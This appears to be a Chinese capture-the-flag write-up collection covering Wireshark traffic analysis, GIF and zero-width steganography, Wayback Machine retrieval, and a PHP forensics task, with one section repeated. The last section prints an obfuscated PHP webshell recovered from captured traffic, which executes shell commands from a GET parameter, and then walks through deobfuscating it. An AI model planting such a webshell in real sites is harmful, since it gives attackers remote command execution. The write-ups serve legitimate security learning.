wireshark_checkin
这么多数据包,先快速找到主要部分。

标绿色的是http协议相关的,鼠标左键点击 GET /reverse.c
这个条目,看 Wireshark 界面左下角,写着一个 Port: 7070
,这个是 HTTP 服务器的开放端口。

接下来点击最上面的搜索框,输入 tcp.port == 7070
,这样就可以快速过滤出所有有关这个端口的 TCP 报文

TIP
HTTP 协议是建立在 TCP 协议之上的,这里的 tcp.port == 7070
是过滤出所有有关这个端口的 TCP 报文,而 HTTP 在这个端口之上,因此也相当于过滤出了所有有关这个端口的 HTTP 报文。
这样变得好看多了,但是还不够清晰,因为这里包含了所有有关这个端口的 TCP/HTTP 请求和响应,假如只想看其中一个 HTTP 请求的流程:看 GET /flag.txt
这个条目

有一个 Src port: 33751
,所以过滤器写 tcp.port == 33751
,因为同一个 HTTP 请求和响应的客户端用的是同一个端口。这样就能只看有关 flag.txt
的这次请求和响应的所有过程。

这就是 3 次握手和四次挥手。
关于 TCP 的 3 次握手和 4 次挥手
3 次握手CLOSECLOSE客户端服务端SYN_SENTLISTENSYN=1, seq=u请求建立连接SYN_RCVDESTABLISHEDESTABLISHEDACK=1seq=u+1, ack=v+1针对服务器端的SYN的确认应答SYN=1, ACK=1ack=u+1, seq=v针对客户端的SYN的确认应答并请求建立连接
4 次挥手ESTABLISHEDESTABLISHED客户端服务端FIN_WAIT_1FIN=1seq=u请求断开连接ACK=1seq=v, ask=u+1针对客户端的FIN的确认应答CLOSE_WAITCLOSECLOSEFIN=1,ACK=1seq=w, ask=u+1请求断开连接FIN_WAIT_2LAST_ACKACK=1seq=u+1, ack=w+1针对服务端的FIN的确认应答TIME_WAIT2MSL数据传输
但是下面这个,只有一个 FIN,怎么回事?

因为还有一个 FIN 在 HTTP/1.1
这里面,发送完响应后,就立刻第一次挥手了。

flag 在右下角。
wireshark_secret
学会怎么从一个 HTTP 响应的流量中导出图片。
点击 secret.png
这个数据包。
左下角找到 File Data 这个字段,右键,点击导出分组字节流,然后文件保存为 PNG,就可以打开图片了。


你也玩原神吗?
题目描述如下
如果你玩原神,那么你看得懂这些提瓦特文字吗?
打开附件,发现 GIF 有白色一闪而逝
可以利用一些网站或工具分离 GIF 的帧,可以发现某一帧是特殊字符

联系题目描述,找到提瓦特文字对照表
左下角文字解密后是 doyouknowfence
,提示是「栅栏密码」,右下角文字就是密文
用栅栏密码解密工具解出来,得到 flag
字里行间的秘密
题目描述为:
我横竖睡不着,仔细看了半夜,才从字缝里看出字来
打开附件,一个名为 flag 的 Word 文件,一个 key.txt
.
Word 文件被加密,打开 key.txt
,文字有明显的水印特征,放到 vim 或 VSCode 就能看出存在零宽隐写,放到在线网站默认参数,可以拿到 key it_is_k3y
.
然后打开 Word 发现没有flag,但 ^ CtrlA 全选发现第二行还是有内容的,将字体改为黑色就可发现 flag.
字里行间的秘密
题目描述为:
我横竖睡不着,仔细看了半夜,才从字缝里看出字来
打开附件,一个名为 flag 的 Word 文件,一个 key.txt
.
Word 文件被加密,打开 key.txt
,文字有明显的水印特征,放到 vim 或 VSCode 就能看出存在零宽隐写,放到在线网站默认参数,可以拿到 key it_is_k3y
.
然后打开 Word 发现没有flag,但 ^ CtrlA 全选发现第二行还是有内容的,将字体改为黑色就可发现 flag.
用溯流仪见证伏特台风
题目描述如下
漂亮国也干了。照着 2024 年 7 月 8 日央视新闻的方法来看看隐匿在图片下的东西吧。
新闻视频:https://b23.tv/BV1Ny411i7eM
新闻中提到的威胁盟报告里,隐藏在图片下,Domain 下方那个框里所有字符的 16 位小写 MD5,包裹 flag{} 即为 flag.
提示:这个视频就是 WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。
PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。
第一步,打开新闻视频的链接


根据视频,我们获得以下信息:
- 所需报告:The Rise of Dark Power…
- 对应版本:最初 4 月 15 日版本
- 现状:所需信息已经被篡改
我们直接搜索报告名称


可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改

所以现版本肯定是没有我们所需的信息的
出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。
但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.

输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。


下载文件,剩下的内容就和视频中演示的一样了。
移开封底图片,拿到 Domain 框里的东西,然后 MD5,
当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。


包上 flag,得到 flag{6c3ea51b6f9d4f5e}
.
Herta’s Study
本题考点:PHP 混淆,流量分析
建议配合 unknown 师傅的前两道流量题食用
第七条流量是上传的 PHP 木马
php
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);
?>
可以搜索一下 create_funtion()
函数,解除混淆后得到加密代码
php
$ns = base64_encode($ns);
for ($i = 0; $i < strlen($ns); $i += 1){
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
return $ns;
就是 Base64 后把奇数位 ROT13
解码反过来就行(第38条,f.txt
里的是真 flag,另一个是假 flag)
php
<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>